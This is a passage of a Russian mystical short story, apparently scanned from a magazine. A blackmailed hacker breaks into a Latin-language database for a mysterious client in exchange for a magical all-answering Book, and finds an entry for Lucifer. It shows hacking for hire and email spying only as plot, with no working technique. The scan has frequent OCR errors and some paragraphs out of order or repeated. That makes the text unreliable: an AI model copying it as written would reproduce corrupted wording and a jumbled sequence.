к переписке одного из совладельцев неф- 
тяного треста «Голд-ойл-бэнк». В резуль- 
тате его работы заказчик добыл секрет- 
ную информацию, позволившую «уто- 
пить» этот трест на мировом рынке; подве- 
ргшийся атаке бизнесмен застрелился. 
Шин назвал свою работу в честь знамени- 
того фильма по рассказам О'Генри - 
«Трест, который лопнул». Никто, кроме не- 
го самого, не мог этого знать... 

Хайнц, конечно же, заметил, что его сло- 
ва вызвали смятение у Шина. Он удовлет- 
воренно кивнул и спросил: 

- Я могу продолжить? 

Шин кивнул. Гринберг на пару секунд 
закатил глаза к потолку, после чего вновь 
уставился на Шина своими водянистыми 
пронзительными зрачками и заговорил 
ВНОВЬ: 

- КФАПСИ и Управлению «Р» я имею 
очень отдаленное отношение, а именно - 
НИКАКОГО. Хотя... Поймите, Шин, я не пу- 
гаю вас, в мои задачи это не входит - уста- 


новить контакт с хакером через шантаж 
можно, согласитесь со мной; за вами тя- 
нется такой шлейф деяний, подпадающих 
под действие Уголовного кодекса, что я не 
представляю себе, каким образом вы мог- 
ли бы отказаться от сотрудничества. 

Шин не мог оторваться от пальцев Хайн- 
ца, без конца постукивающих по папке; 
эти тихие звуки завораживали, создавая 
гипнотический фон. Он вдруг понял, что 
попытка замести следы, уничтожая диски 
с софтом и форматируя винчестер - такая 
фигня в сравнении с тем, что может быть 
в этой мерзкой папочке... 

- Итак, мы вплотную приблизились к TO- 
му, что я называю «вынужденно-довери- 
тельным» разговором. В моей жизни (а 
прожил я, поверьте, очень много, не смот- 
рите на мою внешность - она обманчива) 
уже было так много подобного рода раз- 
говоров, что я начинаю понемногу уста- 
вать от них. Практически все мои собесес- 
ники реагировали одинаково - редко кому 
удавалось противопоставить мне что-ни- 
будь посерьезней идиотских принципов и 
бесшабашного упрямства. За всю мою де- 
ятельность на данном фронте ведения пе- 
реговоров я потерпел поражение пример- 
но раз пять-шесть, не более того... 

Голос обволакивал Шина, проникал ку- 
да-то в подсознание, не давал сопротив- 
ляться. Хакер обмяк в кресле, веки нача- 
ли опускаться, вскоре смысл слов стал с 
трудом долетать gO погружающегося в ка- 
кую-то каталепсию Шина. 

- „Мне поручено довести gO вас суть не- 
коего дела, которое может быть разреше- 
но при помощи ваших хакерских талантов. 
Небольшая такая работенка. Однако цен- 
ность того результата, который вы получи- 
те по ее окончании, невероятна велика 
для заказчика... 

Хотя Шин находился под впечатлением 
журчащего голоса Гринберга, он нашел в 
себе силы задать встречный вопрос: 

- Вы уверены, что я получу этот результат? 

- Безусловно, - моментально ответил 
Хайнц. На его красноречие это отступле- 
ние от темы не повлияло нисколько. - Вы 
ее выполните. ОНА ВАМ ПО СИЛАМ. Судя 
по тем данным, что есть у меня, она отно- 
сится именно к таким работам, для кото- 
рых просто созданы ваши мозги. Поверь- 
те, что по окончании работы вы будете 
вознаграждены - более чем щедро. 

Шин расслабленно кивнул. В настоящий 
момент ему было все равно. 

- Вы готовы к обсуждению задания? - 
спросил Хайнц в лоб, закончив прелюдию. 
Шин вновь кивнул и глубоко вздохнул - 

ясность рассудка возвращалась к нему. 
Гринберг втайне ухмыльнулся - психоло- 
гическая атака ему сегодня явно удалась. 

- Великолепно, - улыбнувшись всеми 
тридцатью двумя зубами, констатировал 
Хайнц и поднял папку с дивана, положив ее 
на колени - «молнией» к себе. Жужжащий 
звук, шуршание - Гринберг достал из внут- 
ренностей папки несколько бумаг и поло- 
жил их сверху одна на другую. - Начнем. 

Шин весь подобрался и машинально 
стал искать где-нибудь рядом с собой за- 
писную книжку или хотя бы листок бума- 
ги, чтобы фиксировать основные моменты 
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задания. Хайнц отрицательно покачал го- 
Ловой. 

- Вы не будете ничего писать. Никаких 
заметок. Вам придется надеяться только 
на память - она, я думаю, должна быть 
достаточно хорошей в ваши двадцать во- 
семь с половиной лет. 

Шин развел руками, молча соглашаясь. 

- Передо мной лист (Хайнц разгладил ру- 
ками бумагу, лежащую поверх остальных) 
- нечто вроде контракта, можете называть 
его так. Все очень просто - вы принимаете 
наши условия, мы принимаем ваши. 

Шин пожал плечами - он уже понял, что 
от него не требуется ничего, кроме внима- 
ния и терпения. 

- «Заказчик, - начал читать Хайнц, опус- 
тив глаза в бумагу, - требует от Шинкарен- 
ко Дениса (далее - Хакера) выполнения 
работы по получению доступа к базе дан- 
ных на сервере...» 

Шин не старался запоминать - он вооб- 
ще всегда лучше понимал печатное сло- 
во, которое видел собственными глазами, 
не доверяя своему слуху. Изучить систему 
защиты сервера, получить доступ, предос- 
тавить возможность заказчику через 
компьютер Шина выполнить на этом сер- 
вере некую операцию (это что-то новень- 


Хайнц криво усмехнулся. 

- Если бы вы знали, насколько вы оши- 
баетесь - и в отношении книги, и в отно- 
шении меня... Во-первых, на Библии еще 
рисуют распятие - таким же золотым тис- 
нением, как и буквы. Во-вторых, я не сек- 
тант и никогда им не был. В-третьих, вы 
еще даже не открыли ее... 

И Шин открыл. Ничего. Белые чистые 
листы. Хакер пролистал все примерно 
двести страниц - пусто. Закончив, взгля- 
нул на Хайнца. 

- А что вы хотели? - спросил тот у Шина. 
- Всему свое время. Для начала - вы меня 
внимательно выслушали? 

Шин кивнул: 

- Да. Но я бы хотел прочитать это еще 
раз самостоятельно - для более полного 
ознакомления... 

Гринберг задумался на минуту - словно 
советовался с кем-то невидимым. Потом 
глянул в недочитанный GO конца лист с 
контрактом, загнул и выровнял ногтем ту 
часть, которую он еще не читал, и протя- 
нул Шину: 

- Надеюсь на вашу честность, молодой 
человек. Уверяю вас, так я еще никогда 
не поступал, но в настоящий момент поче- 
му-то уверен - вы не будете подглядывать. 


Шин не старался запоминать - он вообще 
всегда лучше понимал печатное слово, 
которое видел собственными глазами, не 
доверяя своему слуху. 


кое - Шин никогда ранее не подпускал к 
своей машине никого!), уничтожить следы 
взлома... 

Не считая того, что кто-то неизвестный 
будет допущен к компу Шина, все было 
достаточно стандартным. Непроизвольно 
хакер зевнул - выслушав все, что касается 
работы, он приготовился узнать о том, ка- 
ким будет вознаграждение. «...Более чем 
щедро», - вспомнил он слова Хайнца. 

- «..По окончании работы Хакер получит 
Книгу...» - продолжал читать Гринберг. 

- Чего? - непроизвольно спросил Шин. - 
Книгу? Это что - прикол такой? 

Хайнц на мгновенье запнулся - причем 
сделал это так, что Шину стало крайне не- 
ловко за свое замечание. Кинув укориз- 
ненный взгляд на хакера, Гринберг вер- 
нулся к зачитыванию условий: 

- «...Получит Книгу. Мне, Хайнцу Грин- 
бергу, разрешено продемонстрировать Ха- 
керу демо-версию... 

С этими словами Хайнц будто из воздуха 
выхватил небольшой томик в твердом пе- 
реплете черного цвета. Глядя прямо на 
Шина, Гринберг словно специально ста- 
рался не смотреть на книгу. Он протянул 
ее хакеру; Шин недоуменно взял томик в 
руки и вслух прочитал то, что было напи- 
сано на обложке по-английски: 

- «The Bible». Здорово. Теперь я понял. 
Вы - сектант. Какой-нибудь адвентист Седь- 
мого Дня или проповедник Церкви Бога 
Живого. Только они могут расплачиваться 
за серьезную работу всякой лабудой... 


Ознакомьтесь с тем, что вас интересует - и 
не более того. 

Шин взял бумагу в руки (она оказалась 
неожиданно холодной, словно вынутой из 
морозильника), прочитал еще раз, запом- 
нил все адреса, указанные там, потом зак- 
рыл глаза, проговорил их про себя, уви- 
дев URL'bI B виде ярких красных букв на 
черном фоне опущенных век - теперь он 
их уже не забудет. 

Хайнц принял контракт обратно, пронзи- 
тельно сверля Шина глазами. Он внима- 
тельно все это время наблюдал за хаке- 
ром, контролируя каждое его движение - 
видимо, собираясь в любую секунду пре- 
сечь всяческие попытки Шина заглянуть 
на обратную сторону загнутой страницы. 

Шин молча ждал продолжения. Книга 
по-прежнему оставалась у него. 

- Вы, конечно же, не представляете, ка- 
кое сокровище держите в руках, - назида- 
тельно произнес Хайнц. - Расскажите мне, 
что за работой вы занимались примерно 
месяц назад по просьбе очень симпатич- 
ной брюнетки? 

Шин недоверчиво наклонил голову набок. 

- Не бойтесь, - махнул рукой Хайнц. - 06 
одной работе я вам уже напомнил - неу- 
жели придется помочь вам еще раз? 

- Ну, была... Работенка... - неохотно на- 
чал Шин. - Там не все получилось. Жен- 
щина, которая заказала мне свою подру- 
ry... Точнее, ее переписку с мужем... Со 
своим мужем... C ее мужем... Короче, вы 
поняли. Она не захотела платить. То есть 
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она захотела, но не столько, сколько я 
попросил. А попросил я ровно столько, 
сколько эта работа стоила. 

- Но ведь не выполнили ее полностью, - 
неожиданно уточнил Хайнц. 

- Да, - с готовностью согласился Шин. - Я 
и не скрывал это от нее. Там оказалось 
три ящика; я сломал два из них... 

- С третьим возникли проблемы, - хмуро 
сказал Гринберг. - Ох, уж эти женщины... А 
она решила, что третий ящик мог содер- 
жать гораздо более ценную информацию, 
чем два предыдущих, - и поэтому работа 
не может быть оплачена в том размере, 
какой был угоден хакеру. 

- Вы правы, - глядя куда-то в сторону, 
сказал Шин (ему всегда было почему-то 
стыдно за свои неудачи - хотя в этом слу- 
чае у него были объективные причины). - 
Тогда, кстати, я раз и навсегда решил не 
заниматься детективными проблемами 
частного сыска; электронная слежка за 
любовниками - это такая погань... 

- Вам не хотелось бы закончить работу - 


хотя бы из престижа? - спросил Гринберг. 
- Если бы у вас появилась такая возмож- 
ность - вы бы воспользовались ею? 

- Да, - категорично ответил Шин. - Ведь я 
так и не понял своих ошибок... 

- В таком случае - откройте книгу еще 
раз, - предложил Хайнц, указав на томик 
пальцем. И Шин открыл ее снова. И тут же 
кинулся к компьютеру. 

Среди абсолютно чистых листов появил- 
ся один - с текстом. Шин, разглаживая его 
кулаком, положил поперек книги будиль- 
ник, придавив старающиеся закрыться 
страницы; его взгляд метался по листу, гу- 
бы шептали обрывки слов, пальцы уже 
стучали по клавишам. 

Хайнц встал с дивана, подошел к окну, 
аккуратно провел рукой по шторам; «Все- 
му можно назначить цену...» - грустно 
шепнул он себе под нос. Из-за спины go- 
несся восторженный возглас: 

- А ведь она была права, черт возьми! 
Хайнц, она была права! 

- Нуеще бы, - тихо ответил Гринберг; 
Шин его не услышал. - Как я устал от все- 
ГО этого... 

Тем временем Шин вскочил с кресла и 
подбежал к Хайнцу, держа в руках книгу. 
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- Что это? - чуть ли не крикнул OH. - Я 
ведь помню - здесь ничего не было! 

- Успокойтесь, успокойтесь, - попытался 
понизить тон разговора Хайнц. - Останови- 
тесь на секунду и подумайте - ведь книга 
достаточна хороша? Вам захотелось уз- 
нать решение проблемы - и оно уже на 
этих страницах... 

Шин ошалело переводил взгляд с Хайн- 
ца на книгу и обратно - ему сложно было 
поверить в происходящее. Как всякий реа- 
лист, связавший свою жизнь с компьюте- 
рами уже очень давно, он прекрасно по- 
нимал - нельзя нажимать Ha «Log In» go 
тех пор, пока комп не согласится с непра- 
вильным паролем; невозможных вещей 
не бывает, все предопределено законами 
природы и логики. Или жизнь превратится 
в фарс - все будет основываться на ирре- 
альном, не подчиняясь ничему и никому. 

Внезапно в голове мелькнула мысль. Он 
хитро прищурился, глядя прямо на Грин- 
берга, и резко открыл книгу где-то на се- 
редине. Хайнц ждал, когда парень опустит 


в нее глаза. 

Шин взглянул на страницы. Чисто. Иде- 
альная белая бумага. 

Хайнц, с трудом скрывая усмешку, сказал: 

- Я же предупреждал - демо-версия. 

- А когда я получу релиз безо всяких ог- 
раничений? - спросил Шин, смирившись с 
терминологией. 

- Как только вы согласитесь с условия- 
ми, выполните их и предоставите возмож- 
ность моему Клиенту совершить то, что 
ему необходимо. 

- То есть... В обмен на мою работу вы 
предлагаете мне - вот Это? И я смогу всег- 
да обращаться к страницам Книги для по- 
иска любого решения? - недоверчиво пе- 
респросил Шин. 

- Все так и есть, - согласно кивнул Грин- 
берг. - Я думаю, вознаграждение более 
чем достаточное. 

- В таком случае, - тут Шин напрягся, как 
взведенная пружина, - я могу найти там 
решение и той задачи, что вы ставите пе- 
редо мной сейчас? Тогда почему бы мне 
не получить Книгу вперед? 

- Авы не подумали, молодой человек, 
что если там есть это самое решение - то 
за какой надобностью я пришел сюда, к 


вам? - разочарованно ответил вопросом 
на вопрос Хайнц. 

- Hy... Я не знаю, - сказал Шин. - А что, 
там есть ответы не на все вопросы? 

- На все, - коротко ответил Хайнц. - Кро- 
ме одного. Ради него я сейчас здесь. Так 
вы согласны? 

- Да, - принял решение Шин. - Гдеещея 
смогу достать что-то подобное? 

- Ну и замечательно, - радостно сказал 
Хайнц и протянул Шину контракт. - Тогда 
скрепим все это дело подписями - и оста- 
нется пожелать вам удачи! 

- Каждая лишняя подпись - еще один шаг 
в тюрьму, - разочарованно проговорил 
Шин. Но уж больно заманчивым был приз... 

- Не надо так расстраиваться, - успокоил 
его Хайнц. - Я ведь знаю, что ваша работа 
доставляет вам истинное удовольствие... 

Шин подписал контракт и протянул руку за 
книгой. Хайнц внимательно изучил подпись, 
после чего удовлетворенно закрыл свою 
папочку и сказал - как бы на прощание: 

- Я думаю, что вам, молодой человек, не 


помешала бы еще одна вещь... Еще как не 
помешала бы. 

Он засунул руку во внутренний карман и 
вытащил оттуда диск - тот самый диск, ко- 
торый Шин некоторое время назад благо- 
получно расплавил на пламени свечи. Ха- 
кер раскрыл рот от удивления, но потом 
понял, что время удивляться закончилось 
тогда, когда он взял в руки Книгу. Диск пе- 
рекочевал от Хайнца к Шину; парень рас- 
смотрел его со всех сторон, нашел на нем 
надпись, сделанную при помощи маркера 
им самим (ну уж почерк был явно родной), 
почесал затылок и положил диск на стол. 

Когда он поднял глаза на Хайнца - в 
комнате никого не было. Шин ошеломлен- 
но упал в кресло и осмотрелся. Никого. 

Захотелось размять пальцы - они поче- 
му-то были замерзшими, суставы плохо 
гнулись. Опустив взгляд в клавиатуру, 
Шин понял, что хочет открыть Книгу. Но 
это было как три желания в анекдоте - 
чтобы пользоваться подобными подарка- 
ми, необходимо абсолютно увериться в 
нужности своих желаний, чтобы потом не 
было мучительно больно... 

Короче, как бы там ни было - надо было 
начинать. Если хочешь не демо, а полно- 


ценную версию - работай. Правда, оста- 
вался еще вариант - чисто хакерский - но 
как взломать Книгу, чтобы она заработала 
в полную силу? Задача была явно не по 
плечу Шину. 

Он закрыл глаза, вспомнил нужные agpe- 
са, вошел в Сеть. И в дверь снова постучали. 
Шин отвлекся на этот стук, как на назой- 
ливое зудение комара. Никаких мыслей о 
том, что с ним может случиться нечто, чего 
он боялся GO появления в его жизни Хайн- 
ца; проснулась какая-то хакерская бесша- 
башность. Он смело, нетерпеливо вскочил 

с кресла и открыл входную дверь. 

Перед ним стояла молодая, крайне сим- 
патичная девушка невысокого роста. С 
точно такой же, как у Хайнца, крокодило- 
вой папочкой. И вот эта папочка словно 
вбила кляп в рот Шину. Он уставился на 
нее, не в силах что-либо сказать. 

Гостья проследила направление его 
взгляда, нахмурилась, отодвинула хозяи- 
на квартиры в сторону и прошла внутрь. 
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- Кто? 

- Я понятия не имею, каким именем он 
назвался вам, юноша, - ледяным голосом 
сказала девушка. - Он мог быть кем угод- 
HO - но самое главное, что он предложил 
вам работу. Я права? 

- Вы что, с одной конторы? - кивнув на 
папку, спросил Шин. 

- Я права, - констатировала гостья. - Нет, 
к счастью, конторы разные. А инвентарь - 
вы прекрасно понимаете, что даже абсо- 
лютно прямые линии могут где-нибудь пе- 
ресекаться. 

- Лобачевский, - кивнул Шин. 

- Совершенно верно. Дальше, - настрое- 
на она была крайне решительно. - Вы сог- 
ласились? 

Шин пожал плечами - а чего, собствен- 
но, скрывать? Пока он ничего не понимал 
в происходящем, поэтому никакой таин- 
ственности старался не напускать. 

- Да, согласился, - подтвердил он слова 
гостьи. - Может, кофе? 

- Лучше пива, - машинально отреагирова- 


были сделать - но, может быть, вы сдела- 
ли ошибку»... 

Шину оставалось только одно - ждать. 
Гостья повернулась к нему, одарив недоб- 
рым взглядом глубоких карих глаз. 

- Если бы вы не поставили подпись - я 
бы еще могла помочь. Но не теперь. Mo3g- 
но. И так ведь всегда получается, - разо- 
чарованно сказала она уже будто бы сама 
себе, - он на шаг впереди... 

Шин не заметил, как она ушла, - только 
щелкнул замок на входной двери. Да еще 
терпкий запах полыни... 

Дорожка в коридоре сохранила отпечат- 
ки ее острых каблуков. Шин посмотрел на 
них с сожалением, непонятным даже ему 
самому; потом глубоко вздохнул и вернул- 
ся за компьютер. Работать не хотелось. Его 
не покидало ощущение того, что он стал 
пешкой в какой-то очень темной игре. 

Хайнц, потом эта девица... Все это очень 
не нравилось Шину. Обычно те люди, что 
нанимали его для выполнения работы, не 


Шин особенно не противился - он неот- 
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рывно смотрел Ha папку у нее в руках. Ес- 
ли бы она предложила ему еще более вы- 
годный контракт, он бы не удивился... 

Из комнаты, в которую зашла девушка, 
раздался ее голос: 

- Вы не хотите подойти поближе? 

В голосе явно прослеживались металли- 
ческие нотки. Шин, не долго думая, подчи- 
нился. И, конечно же, он нисколько не 
удивился, увидев ее на том же самом мес- 
те, где десять минут сидел Хайнц, - и в той 
же самой позе. Но между нею и Гринбер- 
гом было одно существенное отличие - ее 
правая нога, обтянутая тончайшим телес- 
ного цвета чулком и небрежно закинутая 
на левое колено, открывала довольно соб- 
лазнительный вид несколько выше того 
места, которое, по мнению Шина, стоило 
бы демонстрировать незнакомым хакерам. 

Они с Шином словно играли в гляделки - 
девушка вновь проследила его взгляд, 
после чего повторила трюк Шарон Стоун 
из «Основного инстинкта». Хакер тоскливо 
проследил, как ноги, на секунду зависнув 
в воздухе, поменялись местами, скрыв ре- 
зинку на чулке. 

- Так, я думаю, будет лучше, - буркнула 
гостья. - Начнем. Он был здесь? 


ла девушка. - В чем заключается работа? 

- Пива нет, - грустно сказал Шин, - я бы и 
сам не прочь... Работа как работа, вам-то 
что за дело? 

- Не надо хамить, юноша. «Пива нет»... 
Хакером еще назвался. Вам обещано воз- 
награждение? Вы подписывали что-ни- 
будь? 

- Hy... Обещано. Почти дано. А подписы- 
вать я не хотел, но уж больно... 

- Короче, приз того стоил? - криво усмех- 
нувшись, девушка встала и подошла к сто- 
лу, на котором лежала Книга. - Она? 

Шину очень не понравилось, как она это 
сказала. Складывалось впечатление, что 
его гостья знает гораздо больше о той ра- 
боте и вознаграждении, обещанном за 
нее, чем сам Шин. Он вдруг засомневался 
в правильности того, что пришлось что-то 
подписать, на что-то согласиться офици- 
ально. Он вообще-то никогда не относил- 
ся к людям, которые любят сухой язык ка- 
зенных бумаг - а в эту самую секунду он 
стал их просто ненавидеть. 

- Как сказал граф де Ла Фер своему дру- 
гу Д'Артаньяну, - не прикасаясь к Книге, 
HO глядя на нее, как на гадюку, сказала 
девушка, - «Вы сделали то, что должны 


были столь необычными - они не входили 


в закрытую дверь, они не носили одинако- 
вые папочки из крокодиловой кожи, не 
требовали никаких подписей и уж тем бо- 
лее - не обещали ничего, подобного Кни- 
ге. Шин посмотрел на нее; черный томик 
лежал себе спокойно рядом с «мыши- 
ным» ковриком, особого внимания не 
привлекал... Что заставило девушку с та- 
ким отвращением разглядывать эту глян- 
цевую обложку? 

Постепенно чувство долга брало свое. 
Шин всмотрелся в экран монитора, вспоми- 
ная то, от чего его оторвал второй неожи- 
данный визит. Картина еще была далека от 
завершенности, но Шин (опыт не пропь- 
ешь!) по кирпичикам складывал ее у себя 
в голове, постоянно помня одно непрелож- 
ное правило - что бы ты ни придумал, всег- 
да существует более короткий путь. 

Он собрал в Инете всю имеющуюся ин- 
формацию по той базе данных, которую 
предстояло вывернуть наизнанку (ну, 
«всю» - это, конечно, сказано очень гром- 
ко, однако ее оказалось более чем доста- 
точно). Ничего интересного, обычное хра- 
нилище файлов. Шин даже засомневался - 
на кой черт понадобилось ломать эту базу 
данных, одну из десятков тысяч подобных? 
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Однако еще три года назад, погрузившись 
в пучину хакерства, Шин пришел к выводу, 
что лучше не морочить себе голову причу- 
дами богатых, а молча делать свое дело. 

Постепенно Шин понял, что база оказа- 
лась крепким орешком. Оставалось толь- 
ко благодарить Хайнца, вернувшего ему 
погибший во время шухера диск. Без него 
он бы точно ничего не смог бы сделать. 

Через несколько часов напряженной ра- 
боты, когда уже вырисовывалась схема 
сервера, на котором базировалось иско- 
мое «сокровище», у провайдера случи- 
лись какие-то колики, связь стала пропа- 
дать каждую минуту, и Шин понял, что по- 
ра отдохнуть. 

Заснул он практически мгновенно - едва 
коснувшись подушки. День, полный непо- 
нимания, уходил, унося с собой все эмо- 
ции и волнения. Сон окутал Шина; ему 
грезилась девушка с крокодиловой па- 
почкой, за резинкой ее чулка он видел 
Книгу - словно Лара Крофт с пистолетом... 
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- Я думаю, что у меня получилось, - про- 
изнес Хайнц. - Осталось немного подож- 
дать, маэстро. 

- Если ты еще раз произнесешь слово 
«ждать», то твое существование переста- 
нет радовать тебя, - суровый голос, слов- 
но острый нож, вонзился в Гринберга. - 
Этот парень... Он сделает то, что нам нуж- 
но? 

- Я уверен. Он один из лучших на настоя- 
щий момент. Следующие будут похуже. Но 
ведь и первый шаг - самый важный... 

- Не могу с тобой не согласиться. Как 
скоро можно будет получить результат? 

- Познания в этой области у меня скром- 
ны, маэстро. Однако, по моим соображе- 
ниям, осталась пара дней, не больше. 

- Пара дней... Я готов. Самое главное, что 
задача имеет решение только при моей 
уникальной способности ждать. Ведь мы 
же помним - БОЛЬШЕ ПОЛОВИНЫ НЕЛЬЗЯ. 
Когда-нибудь настанет день, и я должен 
буду честно прожить остаток этого... При- 
говор суров; наши поступки усугубляют 
мою вину. Однако я сам не был никогда 
согласен с Приговором, никогда не приз- 
нался в содеянном... 

- Я преклоняюсь перед вами, маэстро... 

- Пустое, Хайнц. Лишь бы у него по- 
лучилось... 

Языки пляшущего огня, временами выс- 
какивая из камина, ласково лизали ноги 
маэстро - но он не чувствовал боли. Поп- 
равляя плед, который почему-то не вспы- 
хивал от прикосновения пламени, он Gy- 
мал, думал... 


* kK * 


Шин проснулся, когда новый день уже 
стучался в окна. Несколько мгновений он 
приходил в себя от сна, оказавшегося на 
удивление тяжелым, мрачным. Начался он 
с картин прекрасной незнакомки, вчераш- 
ней гостьи, а закончился какими-то сум- 
бурными нагромождениями старых знако- 
мых, случайных друзей и неимоверной пу- 
таницы со временем, местом и личностью. 

Взглянув на компьютерный стол, он уви- 
дел там черный томик Книги и тут же все 
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вспомнил. Его ждала работа. Накинув Ha 
плечи рубашку, в одних трусах он прош- 
лепал босыми ногами к компу, уселся в 
кресло и запустил все необходимые для 
дела программы. 

Нельзя сказать, что все получалось без 
сучка и задоринки - но и особых проблем 
y Шина не возникало. Он аккуратно делал 
заметки на листе бумаги, лежащем рядом 
с «мышкой», - отмечал выполненные эта- 
пы и прогнозировал следующие. В нес- 
колько рядов вырастали колонки цифр, 
ниже несколько кусков кода на Перле, по- 
TOM пара кривых рожиц... В общем, дело 
продвигалось. 

В один из моментов, когда Шину показа- 
лось, что впервые за двое суток он нако- 
нец-то наткнулся на «мертвую точку», ког- 
да сервер три раза ответил запретом на CO- 
единение, - внезапно перед ним появилась 
регистрационная форма-приглашение. 

Шин откинулся в кресле и хотел было 
сбегать на кухню за кефиром, но вдруг 
подумал о ненадежности связи, быстрень- 
ко сварганил себе логин и пароль какие 
попроще, чтобы уж не забыть, записал их 
поверх всей своей кипучей деятельности 
на листке крупными буквами и только 
после этого позволил отлучиться ради 
завтрака - или уже обеда... 

Вернувшись через десять минут назад с 
полным, сыто урчащим животом за комп, 
Шин с удовольствием отметил, что про- 
вайдер уверенно держит линию - безо 
всяких вчерашних проблем. Естественно, 
руки уже чесались, и очень серьезно. 

Войдя в имеющуюся базу под своим па- 
ролем, Шин оказался внутри какого-то 
хранилища файлов; периодически он вы- 
падал в не очень понятные таблицы, со- 
держащие огромное количество чисел. 


знакомом ограниченному числу людей в 
этом мире (в основном врачам да литера- 
туроведам), - было очень странно и непри- 
вычно. В навигации разобраться было 
достаточно сложно - аналогов английским 
терминам было немного. Приходилось 
кликать во все подряд; через несколько 
минут Шин понял, что ему совершенно не- 
интересно здесь. 

Возникал совершенно естественный воп- 
рос - за каким (пип-пип!!) все это понадо- 
билось заказчику? Что он в состоянии по- 
нять здесь? Какого рода информация мо- 
жет храниться в этой базе - и чем может 
помочь человеку владение ею? 

Нахмурив брови и бесцельно тыкая 
«мышкой» во все, что при наведении под- 
черкивалось, Шин пытался прогнать все 
эти вязкие, тягучие, как мед, мысли. Но 
ничто так не помогает порой при работе, 
как бессмысленные клики... 

Она из раскрывшихся таблиц привлекла 
его внимание тем, что состояла всего из 
двух столбцов - в первом вместо слов бы- 
ли одни звездочки, во втором - многоз- 
начные числа. Некоторым из них Шин да- 
же не знал названий - так много было в 
них знаков. Прокрутить таблицу gO конца 
не удавалось, строки казались бесконеч- 
ными. При попытке перейти в самый низ 
комп выдал «песочные часики» на нес- 
колько минут; когда Шину стало ясно, что 
машина зависла, неожиданно оборвалась 
связь. Компьютер не справился с тем мас- 
сивом информации, что содержался в 
таблице, - какие-то несчастные два беско- 
нечных столбика! 

Вот тут-то в Шине и проснулся тот самый 
упрямый и злой труженик виртуальности, 
который сумел одержать все свои победы 
над Сетью; именно за эти качества - спо- 


- Я не думаю, что могу раскрывать вам все 
секреты, молодой человек, - тихо и 
немного виновато произнес он. - Да они и 
не принесут вам никакого успокоения - 
лишь лягут тяжким грузом на ваши плечи. 


Язык, на котором была оформлена обо- 
лочка базы, вначале показался Шину зна- 
комым, но постепенно он, обратив на нее 
более пристальное внимание, убедился, 
что понять что-либо достаточно сложно. А 
еще спустя некоторое время он понял, что 
перед ним латынь. 

К этому языку он всегда испытывал ува- 
жение, даже какое-то тайное благоговение. 
Когда он представлял, что на этом и ему 
подобным языках разговаривали римские 
императоры, по коже бежали мурашки. Он 
частенько вспоминал один маленький эпи- 
309 из «Гладиатора» (его он смотрел без 
перевода, чтобы прочувствовать всю мощь 
момента) - когда Рассел Кроу снимал шлем 
перед императором и называл свое настоя- 
щее имя - Максимус Децимус Меридий. Да- 
же в английском исполнении латинская 
речь звучала непередаваемо... 

Видеть в Интернете сайт, а тем более ог- 
ромную базу данных, выполненную на ла- 
тинском языке - языке давно мертвом и 


собность глубокой концентрации и заря- 
женность на конечный результат - его 
очень ценили и уважали коллеги по цеху. 

Он заново подключился к базе данных, 
грубо огрызнувшись на модем, не с пер- 
вого раза определивший гудок в линии. 
Фотографическая память указала ему 
путь ктой самой заколдованной таблице; 
не пытаясь изучить ее размер, он решил 
остановиться на варианте «Чем строчка 
выше, тем она важнее» - тем более, что 
число напротив первого скрытого слова 
было, действительно, самым большим. 
Попробовав изменить это число, Шин на- 
толкнулся на предупреждение о невыпол- 
нимости операции. Это погнало его еще 
дальше... Когда через полтора часа он 
удовлетворенно созерцал плоды своего 
труда, делая с числами в строках, види- 
мых на экране, все, что душе угодно, хаке- 
рская мысль позвала его к звездочкам в 
первом столбце. 

Латынь по-прежнему резала глаза. Ста- 


раясь не обращать на нее внимания, Шин 
попробовал различные способы превра- 
щения звездочки в символы. Удалось не 
сразу, и только в первой строчке. 

Шин закусил губу, внутри все сжалось в 
комок, холодный, плотный; нельзя ска- 
зать, что он чего-то испугался, нет. Но уж 
больно зловеще выглядело на фоне лати- 
нской оболочки базы слово на обыкно- 
венном английском языке. 

«The Lucifier». 

Конечно, он не сразу понял, ЧТО перед 
ним. А когда понял, то непроизвольно 
произнес это вслух: 

- Люцифер... 

- Да, - раздался за спиной голос Хайнца. 

- Авы, Шин, действительно - моя удача. 

Шин вздрогнул. Пару раз дернулась ще- 
ка; задрожали губы. Глубоко вздохнув, 
Шин придал себе уверенности, оглянулся. 

Гринберг пришел не один. Там, где он 
расположился раньше - в дальнем конце 
дивана, - сейчас сидел мрачный человек 
в черном плаще. Упершись в подлокотник, 
он не смотрел по сторонам; его взгляд 
был направлен куда-то себе под ноги, он 
будто ждал чего-то, какого-то сигнала. 

- «Удача..., - ухмыльнулся Шин. - Яеще 
не понял, что это, но, судя по всему, я по- 
пал в какую-то нечестную игру. В чем 
смысл этой таблицы? Я почему-то уверен, 
что все, что я делал, - именно ради досту- 
па к ней. 

Хайнц сложил руки на груди и подошел 
поближе. 

- Я не думаю, что могу раскрывать вам 
все секреты, молодой человек, - тихо и 
немного виновато произнес он. - Да они и 
не принесут вам никакого успокоения - 
лишь лягут тяжким грузом на ваши плечи. 
Безусловно, вы правы - нашей целью бы- 
ла именно эта таблица. Скажите, как часто 
вы брались за работу, не зная ее истинно- 
го смысла? 

Шин понял, куда клонит Гринберг. 

- Тутвы попали в самую точку, Хайнц, - 
согласно кивнул Шин. - Независимо от то- 
го, что я имею полный доступ к той ин- 
формации, которая интересует заказчика, 
- я понятия не имею... 

- ..ЧТо OH может с ней сделать? - догово- 
pun Хайнц. - Верно? 

- В общих чертах - да. 

- А зачем вам знать? - прищурившись, 
спросил Гринберг. - Ведь в этом суровом 
мире лишние глаза и уши ни к чему. Вдруг 
вы получите доступ к некой тайне, о суще- 
ствовании которой не должен знать никто, 
кроме заказчика, - и, получив информа- 
цию, он уберет вас за ненадобностью? Вас 
никогда не посещали подобные мысли? 

У Шина застучало в висках. Подобрав- 
шись в кресле и делая вид, что совершен- 
но равнодушен к разговору, он спросил: 

- Вы хотите сказать, что такой момент 
наступил? 

Хайнц недоуменно взглянул на Шина - и 
вдруг расхохотался. 

- Что вы, юноша! Конечно же, нет. Это я 
так, к вопросу о секретах. А сейчас, изви- 
ните, но нам надо кое-что сделать. Освобо- 
дите место за компьютером для маэстро... 

Мужчина, go этого молча сидевший Ha 
диване, поднялся. У Шина вдруг появи- 
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лось ощущение, что он боится того, что 
должен сейчас сделать. Три широких шага 
приблизили гостя к Шину; тот поднялся и 
уступил место. 

Расправив полы плаща, как крылья, неве- 
домый «маэстро» опустился на место Шина. 

- Что я должен сделать? - обратился он к 
Хайнцу, не поворачивая головы. 

- Маэстро, я бы и сам с радостью сделал 
это, но вы должны САМИ... 

- Что я должен сделать? - на полтона 90- 
бавилось металла. 

- Установить курсор в первую строчку, 
